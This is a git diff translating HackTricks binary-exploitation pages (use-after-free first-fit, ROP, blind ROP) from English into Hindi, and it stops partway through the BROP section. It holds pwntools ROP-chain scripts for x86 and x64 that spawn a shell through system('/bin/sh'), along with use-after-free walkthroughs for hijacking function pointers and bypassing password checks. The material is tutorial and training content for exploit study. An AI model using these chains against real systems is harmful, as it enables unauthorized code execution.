a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -4,36 +4,33 @@ ## **First Fit** -When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. +जब आप glibc का उपयोग करके किसी प्रोग्राम में मेमोरी को फ्री करते हैं, तो मेमोरी के टुकड़ों को प्रबंधित करने के लिए विभिन्न "बिन" का उपयोग किया जाता है। यहाँ दो सामान्य परिदृश्यों का एक सरल स्पष्टीकरण है: अनसॉर्टेड बिन और फास्टबिन। ### Unsorted Bins -When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. +जब आप एक मेमोरी टुकड़ा फ्री करते हैं जो एक फास्ट टुकड़ा नहीं है, तो यह अनसॉर्टेड बिन में चला जाता है। यह बिन एक सूची की तरह कार्य करता है जहाँ नए फ्री किए गए टुकड़े सामने ( "हेड") में जोड़े जाते हैं। जब आप मेमोरी का एक नया टुकड़ा मांगते हैं, तो आवंटक अनसॉर्टेड बिन को पीछे ( "टेल") से देखता है ताकि एक ऐसा टुकड़ा ढूंढ सके जो आपके लिए पर्याप्त बड़ा हो। यदि अनसॉर्टेड बिन से कोई टुकड़ा आपके आवश्यक आकार से बड़ा है, तो इसे विभाजित किया जाता है, जिसमें सामने का भाग वापस किया जाता है और शेष भाग बिन में रहता है। -Example: - -- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`). -- When you free `a`, it goes to the unsorted bin. -- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin. - - `c` will be pointing to the previous `a` and filled with the `a's`. +उदाहरण: +- आप 300 बाइट (`a`) आवंटित करते हैं, फिर 250 बाइट (`b`), `a` को फ्री करते हैं और फिर से 250 बाइट (`c`) मांगते हैं। +- जब आप `a` को फ्री करते हैं, तो यह अनसॉर्टेड बिन में चला जाता है। +- यदि आप फिर से 250 बाइट मांगते हैं, तो आवंटक `a` को टेल में पाता है और इसे विभाजित करता है, आपके अनुरोध के लिए उपयुक्त भाग लौटाते हुए और बाकी को बिन में रखते हुए। +- `c` पिछले `a` की ओर इशारा करेगा और `a's` से भरा होगा। ```c char *a = malloc(300); char *b = malloc(250); free(a); char *c = malloc(250); ``` - ### Fastbins -Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. +Fastbins छोटे मेमोरी टुकड़ों के लिए उपयोग किए जाते हैं। असंरचित बिन के विपरीत, फास्टबिन नए टुकड़ों को सिर में जोड़ते हैं, जिससे अंतिम-प्रविष्टि-प्रथम-निकासी (LIFO) व्यवहार उत्पन्न होता है। यदि आप मेमोरी का एक छोटा टुकड़ा मांगते हैं, तो आवंटक फास्टबिन के सिर से खींचेगा। -Example: - -- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`). -- When you free them in any order, the freed chunks are added to the fastbin's head. -- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin. +उदाहरण: +- आप चार टुकड़े 20 बाइट प्रत्येक (`a`, `b`, `c`, `d`) आवंटित करते हैं। +- जब आप उन्हें किसी भी क्रम में मुक्त करते हैं, तो मुक्त किए गए टुकड़े फास्टबिन के सिर में जोड़े जाते हैं। +- यदि आप फिर 20-बाइट का टुकड़ा मांगते हैं, तो आवंटक फास्टबिन के सिर से सबसे हाल ही में मुक्त किया गया टुकड़ा लौटाएगा। ```c char *a = malloc(20); char *b = malloc(20); @@ -48,17 +45,16 @@ b = malloc(20); // c c = malloc(20); // b d = malloc(20); // a ``` - -## Other References & Examples +## अन्य संदर्भ और उदाहरण - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - - ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** +- ARM64. Use after free: एक उपयोगकर्ता वस्तु उत्पन्न करें, इसे मुक्त करें, एक वस्तु उत्पन्न करें जो मुक्त किए गए भाग को प्राप्त करती है और इसे लिखने की अनुमति देती है, **पिछली स्थिति को ओवरराइट करते हुए user->password**। उपयोगकर्ता को पुन: उपयोग करें ताकि **पासवर्ड जांच को बायपास किया जा सके** - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - - The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\) with the contents of the note. - - The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - - Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. +- कार्यक्रम नोट्स बनाने की अनुमति देता है। एक नोट में नोट की जानकारी malloc(8) में होगी (जिसमें एक फ़ंक्शन का पॉइंटर होगा जिसे कॉल किया जा सकता है) और एक अन्य malloc(\) का पॉइंटर होगा जिसमें नोट की सामग्री होगी। +- हमला 2 नोट्स (note0 और note1) बनाने का होगा जिनकी malloc सामग्री नोट की जानकारी के आकार से बड़ी होगी और फिर उन्हें मुक्त करें ताकि वे तेज़ बिन (या tcache) में जा सकें। +- फिर, एक और नोट (note2) बनाएं जिसमें सामग्री का आकार 8 हो। सामग्री note1 में होगी क्योंकि भाग को पुन: उपयोग किया जाएगा, जहां हम फ़ंक्शन पॉइंटर को win फ़ंक्शन की ओर इंगित करने के लिए संशोधित कर सकते हैं और फिर Use-After-Free note1 को नए फ़ंक्शन पॉइंटर को कॉल करने के लिए। - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - - It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. +- कुछ मेमोरी आवंटित करना, इच्छित मान लिखना, इसे मुक्त करना, पुनः आवंटित करना संभव है और चूंकि पिछले डेटा अभी भी वहां है, इसे भाग में नए अपेक्षित संरचना के अनुसार माना जाएगा जिससे मान सेट करना या ध्वज प्राप्त करना संभव होगा। - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - - In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. +- इस मामले में एक विशिष्ट भाग के अंदर 4 लिखना आवश्यक है जो पहला आवंटित किया जा रहा है (यहां तक कि सभी को बलपूर्वक मुक्त करने के बाद भी)। प्रत्येक नए आवंटित भाग में इसका संख्या सरणी अनुक्रमांक में संग्रहीत होता है। फिर, 4 भागों (+ प्रारंभ में आवंटित) को आवंटित करें, अंतिम में 4 होगा, उन्हें मुक्त करें और पहले को पुनः आवंटित करने के लिए मजबूर करें, जो अंतिम मुक्त भाग का उपयोग करेगा जिसमें 4 होगा। diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 29e21bca5..1f15e1167 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -2,45 +2,44 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **बुनियादी जानकारी** -**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. +**Return-Oriented Programming (ROP)** एक उन्नत शोषण तकनीक है जिसका उपयोग **No-Execute (NX)** या **Data Execution Prevention (DEP)** जैसी सुरक्षा उपायों को दरकिनार करने के लिए किया जाता है। शेलकोड को इंजेक्ट और निष्पादित करने के बजाय, एक हमलावर बाइनरी या लोड की गई लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का लाभ उठाता है, जिसे **"gadgets"** के रूप में जाना जाता है। प्रत्येक gadget आमतौर पर `ret` निर्देश के साथ समाप्त होता है और एक छोटा ऑपरेशन करता है, जैसे रजिस्टरों के बीच डेटा को स्थानांतरित करना या अंकगणितीय संचालन करना। इन gadgets को एक साथ जोड़कर, एक हमलावर एक payload बना सकता है जो मनचाहे संचालन को निष्पादित करता है, प्रभावी रूप से NX/DEP सुरक्षा को दरकिनार करता है। -### How ROP Works +### ROP कैसे काम करता है -1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. -2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. -3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. +1. **नियंत्रण प्रवाह हाइजैकिंग**: सबसे पहले, एक हमलावर को एक प्रोग्राम के नियंत्रण प्रवाह को हाइजैक करना होता है, आमतौर पर एक बफर ओवरफ्लो का लाभ उठाकर स्टैक पर एक सहेजे गए लौटने के पते को ओवरराइट करके। +2. **Gadget चेनिंग**: फिर हमलावर सावधानी से इच्छित क्रियाओं को करने के लिए gadgets का चयन और चेन करता है। इसमें एक फ़ंक्शन कॉल के लिए तर्क सेट करना, फ़ंक्शन को कॉल करना (जैसे, `system("/bin/sh")`), और किसी भी आवश्यक सफाई या अतिरिक्त संचालन को संभालना शामिल हो सकता है। +3. **Payload निष्पादन**: जब संवेदनशील फ़ंक्शन लौटता है, तो यह एक वैध स्थान पर लौटने के बजाय gadgets की श्रृंखला को निष्पादित करना शुरू कर देता है। -### Tools +### उपकरण -Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). +आमतौर पर, gadgets को [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) या सीधे **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)) का उपयोग करके पाया जा सकता है। -## ROP Chain in x86 Example +## x86 उदाहरण में ROP चेन -### **x86 (32-bit) Calling conventions** +### **x86 (32-बिट) कॉलिंग सम्मेलन** -- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** -- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. +- **cdecl**: कॉलर स्टैक को साफ करता है। फ़ंक्शन तर्कों को स्टैक पर उल्टे क्रम में (दाएं से बाएं) धकेला जाता है। **तर्कों को स्टैक पर दाएं से बाएं धकेला जाता है।** +- **stdcall**: cdecl के समान, लेकिन callee स्टैक को साफ करने के लिए जिम्मेदार होता है। -### **Finding Gadgets** +### **Gadgets खोजना** -First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: +पहले, चलिए मान लेते हैं कि हमने बाइनरी या इसके लोड की गई लाइब्रेरी में आवश्यक gadgets की पहचान कर ली है। जिन gadgets में हमारी रुचि है, वे हैं: -- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. -- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. -- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. -- Additionally, we have the address of the `system()` function available. +- `pop eax; ret`: यह gadget स्टैक के शीर्ष मान को `EAX` रजिस्टर में पॉप करता है और फिर लौटता है, जिससे हमें `EAX` को नियंत्रित करने की अनुमति मिलती है। +- `pop ebx; ret`: ऊपर के समान, लेकिन `EBX` रजिस्टर के लिए, जिससे `EBX` पर नियंत्रण प्राप्त होता है। +- `mov [ebx], eax; ret`: `EAX` में मान को `EBX` द्वारा इंगित मेमोरी स्थान पर स्थानांतरित करता है और फिर लौटता है। इसे अक्सर **write-what-where gadget** कहा जाता है। +- इसके अतिरिक्त, हमारे पास `system()` फ़ंक्शन का पता उपलब्ध है। -### **ROP Chain** +### **ROP चेन** -Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: - -1. A `ret` instruction for alignment purposes (optional) -2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/)) -3. Placeholder for the return address from `system()` -4. `"/bin/sh"` string address (parameter for system function) +**pwntools** का उपयोग करते हुए, हम ROP चेन निष्पादन के लिए स्टैक को इस प्रकार तैयार करते हैं जिसका लक्ष्य `system('/bin/sh')` को निष्पादित करना है, ध्यान दें कि चेन इस प्रकार शुरू होती है: +1. संरेखण उद्देश्यों के लिए एक `ret` निर्देश (वैकल्पिक) +2. `system` फ़ंक्शन का पता (मान लेते हैं ASLR अक्षम है और libc ज्ञात है, अधिक जानकारी [**Ret2lib**](ret2lib/) में) +3. `system()` से लौटने के पते के लिए प्लेसहोल्डर +4. `"/bin/sh"` स्ट्रिंग का पता (system फ़ंक्शन के लिए पैरामीटर) ```python from pwn import * @@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th # Construct the ROP chain rop_chain = [ - ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues - system_addr, # Address of system(). Execution will continue here after the ret gadget - 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. - bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() +ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues +system_addr, # Address of system(). Execution will continue here after the ret gadget +0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. +bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() ] # Flatten the rop_chain for use @@ -74,28 +73,26 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` - ## ROP Chain in x64 Example ### **x64 (64-bit) Calling conventions** -- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. -- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`. -- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`. +- **System V AMD64 ABI** कॉलिंग कन्वेंशन का उपयोग यूनिक्स-जैसे सिस्टम पर किया जाता है, जहाँ **पहले छह पूर्णांक या पॉइंटर तर्कों को रजिस्टर `RDI`, `RSI`, `RDX`, `RCX`, `R8`, और `R9`** में पास किया जाता है। अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है। +- **Windows x64** कॉलिंग कन्वेंशन पहले चार पूर्णांक या पॉइंटर तर्कों के लिए `RCX`, `RDX`, `R8`, और `R9` का उपयोग करता है, जबकि अतिरिक्त तर्क स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू `RAX` में रखी जाती है। +- **Registers**: 64-बिट रजिस्टर में `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, और `R8` से `R15` शामिल हैं। #### **Finding Gadgets** -For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: +हमारे उद्देश्य के लिए, आइए उन गैजेट्स पर ध्यान केंद्रित करें जो हमें **RDI** रजिस्टर सेट करने की अनुमति देंगे (ताकि **system()** के लिए **"/bin/sh"** स्ट्रिंग को तर्क के रूप में पास किया जा सके) और फिर **system()** फ़ंक्शन को कॉल करें। हम मान लेते हैं कि हमने निम्नलिखित गैजेट्स की पहचान की है: -- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. -- **ret**: A simple return, useful for stack alignment in some scenarios. +- **pop rdi; ret**: स्टैक के शीर्ष मान को **RDI** में पॉप करता है और फिर रिटर्न करता है। **system()** के लिए हमारे तर्क को सेट करने के लिए आवश्यक। +- **ret**: एक साधारण रिटर्न, कुछ परिदृश्यों में स्टैक संरेखण के लिए उपयोगी। -And we know the address of the **system()** function. +और हमें **system()** फ़ंक्शन का पता है। ### **ROP Chain** -Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**: - +नीचे एक उदाहरण है जो **pwntools** का उपयोग करके **system('/bin/sh')** को **x64** पर निष्पादित करने के लिए ROP चेन सेटअप और निष्पादित करता है: ```python from pwn import * @@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary # Construct the ROP chain rop_chain = [ - ret_gadget, # Alignment gadget, if needed - pop_rdi_gadget, # pop rdi; ret - bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() - system_addr # Address of system(). Execution will continue here. +ret_gadget, # Alignment gadget, if needed +pop_rdi_gadget, # pop rdi; ret +bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() +system_addr # Address of system(). Execution will continue here. ] # Flatten the rop_chain for use @@ -130,66 +127,65 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` +इस उदाहरण में: -In this example: +- हम **`pop rdi; ret`** गैजेट का उपयोग करते हैं ताकि **`RDI`** को **`"/bin/sh"`** के पते पर सेट किया जा सके। +- **`RDI`** सेट करने के बाद हम सीधे **`system()`** पर कूदते हैं, जिसमें **system()** का पता श्रृंखला में होता है। +- यदि लक्षित वातावरण की आवश्यकता हो, तो संरेखण के लिए **`ret_gadget`** का उपयोग किया जाता है, जो **x64** में कार्यों को कॉल करने से पहले उचित स्टैक संरेखण सुनिश्चित करने के लिए अधिक सामान्य है। -- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. -- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain. -- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions. +### स्टैक संरेखण -### Stack Alignment +**x86-64 ABI** सुनिश्चित करता है कि जब **call instruction** निष्पादित होती है, तो **स्टैक 16-बाइट संरेखित** होता है। **LIBC**, प्रदर्शन को अनुकूलित करने के लिए, **SSE निर्देशों** (जैसे **movaps**) का उपयोग करता है जो इस संरेखण की आवश्यकता होती है। यदि स्टैक ठीक से संरेखित नहीं है (जिसका अर्थ है कि **RSP** 16 का गुणांक नहीं है), तो **ROP श्रृंखला** में **system** जैसे कार्यों के लिए कॉल विफल हो जाएंगे। इसे ठीक करने के लिए, अपने ROP श्रृंखला में **system** को कॉल करने से पहले बस एक **ret gadget** जोड़ें। -**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. - -## x86 vs x64 main difference +## x86 बनाम x64 मुख्य अंतर > [!TIP] -> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). +> चूंकि **x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है,** इसलिए यह अक्सर सरल कार्य कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट खोजने और श्रृंखला में जोड़ना अधिक जटिल हो सकता है क्योंकि रजिस्टर की संख्या बढ़ जाती है और पता स्थान बड़ा होता है। **x64** आर्किटेक्चर में रजिस्टर की बढ़ी हुई संख्या और बड़े पता स्थान ने विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में शोषण विकास के लिए अवसर और चुनौतियाँ दोनों प्रदान की हैं। -## ROP chain in ARM64 Example +## ARM64 उदाहरण में ROP श्रृंखला -### **ARM64 Basics & Calling conventions** +### **ARM64 मूल बातें और कॉलिंग सम्मेलन** -Check the following page for this information: +इस जानकारी के लिए निम्नलिखित पृष्ठ देखें: {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protections Against ROP +## ROP के खिलाफ सुरक्षा -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain -- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/): ये सुरक्षा ROP के उपयोग को कठिन बनाती हैं क्योंकि गैजेट के पते निष्पादन के बीच बदलते हैं। +- [**स्टैक कैनरीज़**](../common-binary-protections-and-bypasses/stack-canaries/): BOF के मामले में, ROP श्रृंखला का दुरुपयोग करने के लिए लौटने वाले पॉइंटर्स को ओवरराइट करने के लिए स्टोर स्टैक कैनरी को बायपास करना आवश्यक है। +- **गैजेट्स की कमी**: यदि पर्याप्त गैजेट्स नहीं हैं, तो ROP श्रृंखला उत्पन्न करना संभव नहीं होगा। -## ROP based techniques +## ROP आधारित तकनीकें -Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: +ध्यान दें कि ROP केवल मनमाने कोड को निष्पादित करने की एक तकनीक है। ROP के आधार पर कई Ret2XXX तकनीकें विकसित की गई हैं: -- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. +- **Ret2lib**: मनमाने पैरामीटर के साथ लोड की गई लाइब्रेरी से मनमाने कार्यों को कॉल करने के लिए ROP का उपयोग करें (आमतौर पर कुछ ऐसा जैसे `system('/bin/sh')`। {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. +- **Ret2Syscall**: ROP का उपयोग करके syscall के लिए कॉल तैयार करें, जैसे `execve`, और इसे मनमाने आदेश निष्पादित करने के लिए बनाएं। {{#ref}} rop-syscall-execv/ {{#endref}} -- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). +- **EBP2Ret और EBP चेनिंग**: पहला EIP के बजाय EBP का दुरुपयोग करेगा ताकि प्रवाह को नियंत्रित किया जा सके और दूसरा Ret2lib के समान है लेकिन इस मामले में प्रवाह मुख्य रूप से EBP पते के साथ नियंत्रित होता है (हालांकि EIP को भी नियंत्रित करना आवश्यक है)। {{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}} -## Other Examples & References +## अन्य उदाहरण और संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag +- 64 बिट, Pie और nx सक्षम, कोई कैनरी नहीं, RIP को `vsyscall` पते के साथ ओवरराइट करें जिसका एकमात्र उद्देश्य स्टैक में अगले पते पर लौटना है जो फ्लैग लीक करने वाले कार्य के भाग का आंशिक ओवरराइट होगा - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, कोई ASLR नहीं, स्टैक में शेलकोड पर कूदने और स्टैक को निष्पादित करने के लिए ROP गैजेट {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 94d93bd6f..ed4f5b419 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -4,113 +4,113 @@ ## Basic Information -The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ -This attack is based on the following scenario: +इस हमले का लक्ष्य है **बिना किसी जानकारी के कमजोर बाइनरी के माध्यम से ROP का दुरुपयोग करना**।\ +यह हमला निम्नलिखित परिदृश्य पर आधारित है: -- A stack vulnerability and knowledge of how to trigger it. -- A server application that restarts after a crash. +- एक स्टैक भेद्यता और इसे सक्रिय करने का ज्ञान। +- एक सर्वर एप्लिकेशन जो क्रैश के बाद पुनः प्रारंभ होता है। ## Attack -### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected +### **1. कमजोर ऑफसेट खोजें** एक और चरित्र भेजकर जब तक सर्वर में खराबी का पता नहीं चलता -### **2. Brute-force canary** to leak it +### **2. ब्रूट-फोर्स कैनरी** इसे लीक करने के लिए -### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them +### **3. स्टोर किए गए RBP और RIP** पते को लीक करने के लिए ब्रूट-फोर्स करें -You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). +आप इन प्रक्रियाओं के बारे में अधिक जानकारी [यहाँ (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) और [यहाँ (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) पा सकते हैं। -### **4. Find the stop gadget** +### **4. स्टॉप गैजेट खोजें** -This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed +यह गैजेट मूल रूप से यह पुष्टि करने की अनुमति देता है कि ROP गैजेट द्वारा कुछ दिलचस्प निष्पादित किया गया था क्योंकि निष्पादन क्रैश नहीं हुआ। आमतौर पर, यह गैजेट कुछ ऐसा होगा जो **निष्पादन को रोकता है** और यह ROP श्रृंखला के अंत में स्थित होता है जब किसी विशिष्ट ROP गैजेट के निष्पादन की पुष्टि करने के लिए ROP गैजेट्स की खोज की जाती है। -### **5. Find BROP gadget** +### **5. BROP गैजेट खोजें** -This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: +यह तकनीक [**ret2csu**](ret2csu.md) गैजेट का उपयोग करती है। और इसका कारण यह है कि यदि आप कुछ निर्देशों के बीच में इस गैजेट तक पहुँचते हैं, तो आपको **`rsi`** और **`rdi`** को नियंत्रित करने के लिए गैजेट मिलते हैं:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

-These would be the gadgets: +ये गैजेट होंगे: - `pop rsi; pop r15; ret` - `pop rdi; ret` -Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. +ध्यान दें कि इन गैजेट्स के साथ एक फ़ंक्शन को कॉल करने के लिए **2 तर्कों** को **नियंत्रित करना संभव है**। -Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: +इसके अलावा, ध्यान दें कि ret2csu गैजेट का **बहुत अद्वितीय हस्ताक्षर** है क्योंकि यह स्टैक से 6 रजिस्टर को पॉप करेगा। इसलिए एक श्रृंखला भेजना जैसे: `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` -If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address. +यदि **STOP निष्पादित होता है**, तो इसका अर्थ है कि **एक पता जो स्टैक से 6 रजिस्टर को पॉप कर रहा है** का उपयोग किया गया था। या 